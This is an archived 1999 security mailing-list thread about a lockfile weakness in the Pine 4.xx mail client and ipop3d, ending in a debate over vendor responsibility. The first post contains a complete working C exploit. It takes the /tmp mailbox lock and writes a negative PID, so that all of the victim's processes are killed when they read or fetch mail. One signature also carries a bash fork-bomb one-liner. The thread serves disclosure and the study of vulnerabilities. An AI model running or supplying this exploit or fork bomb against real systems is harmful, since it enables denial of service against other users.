pine.4.xx.lockfile.txt

`Date: Sun, 5 Mar 1999 01:41:25 +0100  
From: Michal Zalewski <[email protected]>  
  
Lockfile vunerability in pine 4.xx (Linux)  
  
The problem is probably well known, but silently ignored by pine vendors.  
Unfortunately, it's possible to turn 'mostly harmless feature' in  
something nasty - following code allows various DoSes by killing all  
processes of luser (could be root?) every time he/she runs pine or  
receives mail via POP3 protocol:  
  
-- lock-exploit.c --  
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.  
  
#include <sys/file.h>  
#include <sys/stat.h>  
#include <unistd.h>  
  
main(int argc,char* argv[]) {  
int i,a=0;  
char s[100];  
struct stat x;  
if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));  
sprintf(s,"/var/spool/mail/%s",argv[1]);  
if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));  
sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);  
fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);  
while (1) {  
lseek(i,0,0);  
write(i,"-1",2);  
ftruncate(i,2);  
fsync(i);  
if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);  
else printf("File %s already locked, wait...\n",s);  
sleep(1);  
}  
}  
-- eof --  
  
Works well under Linux. Under BSD, pine seems to have broken mailbox  
access negotiation (fortunately ;-). No information about ipop3d.  
  
Mainly, this vunerability demonstrates that world-writable mailbox locks  
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's  
'harmless', while other solutions allows several DoS attacks... huh).  
  
_______________________________________________________________________  
Michal Zalewski [[email protected]] [link / marchew] [dione.ids.pl SYSADM]  
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:  
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]  
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]  
  
-------------------------------------------------------------------------  
  
Date: Mon, 8 Mar 1999 02:37:18 +0100  
From: Michal Zalewski <[email protected]>  
  
> 3. Lockfile vunerability in pine 4.xx (Linux)  
> 4. Lockfile vunerability in ipop3d 4.xx  
  
It has been addressed as 'negative value' problem. The problem is buggy  
negotiation protocol, not negative, positive or any other PID itself  
(disallowing negative values won't prevent attacker from killing choosen  
processes). So, as today, there's no chance for complete solution on /tmp  
mailbox locks.  
  
-------------------------------------------------------------------------  
  
Date: Sun, 11 Apr 1999 11:00:09 -0500  
From: Oliver Xymoron <[email protected]>  
To: [email protected]  
Subject: Re: ipop3d (x2) / pine (x2)  
  
On Thu, 8 Apr 1999, Mark Crispin wrote:  
  
> Now, we'll talk about the 20% that is fact. Yes, it is possible to write  
> a negative process ID in the lock file. This requires that the attacker  
> have shell access; it can't be mounted remotely. It also requires that  
> the attacker have a program running at the time that the victim opens his  
> mail file.  
  
Attackers sometimes have shell access. Use your imagination. Attackers can  
sometimes conceal attempts to exploit races long enough for it to work.  
Use your imagination. I for one am not always running top.  
  
> Not only is the program running, but it has the lock file open and  
> locked. In other words, it's incredibly easy to catch; particularly  
> if you have lsof. Nor can there be any question of intent when it  
> comes to prosecution. Only an extremely stupid individual would try  
> it.  
  
Imagine this scenario. You have a thousand users. One of them is stupid  
enough to be duped out of their password. Odds? High. Attacker gets in,  
connecting from a machine that they've already 'owned.' Scenario two. You  
have a thousand users. One of them uses telnet/pop/imap/etc to connect  
>from a machine through a route that's being snooped from another owned  
machine. Perhaps they've tunneled through a bunch of poorly maintained  
UNIX boxes in university dorms and are now on your LAN. Odds? High.  
  
Risk to attacker of shell experimentation in the early morning hours?  
Negligible.  
  
Exercise for the reader: invent a scenario whereby an attacker engineers  
their way into root access by having access to unpriviledged accounts. I  
can think of five off the top of my head and it's only 11am on a Sunday.  
  
In short, own your bugs. There are no trusted users, especially on a  
networked machine. Users have to be protected from other users. Period.  
That's the security model. If Pine lets an attacker make progress  
through a system, that's a security hole _in Pine_. Deal with it.  
  
The past few posts to Bugtraq I've seen from the Pine group have rather  
worried me. Consistently taking a posture of "we don't think it's a  
problem" or "it's not our problem" does little to inspire community  
confidence. Your code will have bugs or bad interactions with other  
programs. They will be found, especially since Pine is popular. Some of  
them will be posted publically, especially if you don't appear to take a  
proactive stance. Be gracious about it.  
  
--  
"Love the dolphins," she advised him. "Write by W.A.S.T.E.."  
  
`